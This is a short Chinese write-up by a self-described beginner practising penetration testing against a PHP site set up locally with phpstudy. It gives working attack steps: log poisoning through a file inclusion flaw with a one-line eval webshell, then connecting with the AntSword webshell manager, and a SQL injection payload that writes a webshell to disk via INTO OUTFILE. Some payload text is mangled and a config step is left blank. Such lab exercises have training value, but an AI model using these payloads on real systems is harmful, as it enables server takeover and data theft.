萌新第一次做渗透，大佬们轻喷
准备环境：phpstudy 网站源码
记得小p的php版本最好是5.3

看一下几个常见位置有没有漏洞
文件包含漏洞：
漏洞位置前台index.php
典型的文件包含漏洞，没有校验传入的文件，使攻击者可以调用任意文件

1.将访问include.php页面的URL链接www.xionghai.com/include复制到burp的repeater发送请求

2.在请求行中将文件路径改为一句话木马<?php @eval($_REQUEST['cmd']);?>

3.打开Apache错误日志发现新增的错误信息已经被写入

4.打开中国蚁剑连接即可

漏洞位置
后台admin文件夹下index.php同样存在

Sql注入漏洞
位置：login.php

后台报错注入
位置：/admin/files/editcolumn.php

复现

1. 修改secure-file-priv参数的值
   
   现在secure-file-priv参数的值为null
   在my.ini中添加
   
   重启mysql发现值变为空
   
   

2.写入webshell

http://www.xionghai.com/admin/?r=editcolumn&type=1&id=1,"?php@eval($_POST['attack']);?"intooutfile'C:\phpstudy_pro\WWW\www.xionghai.com\shell.php'#
查看服务器上传成功

3.中国蚁剑连接shell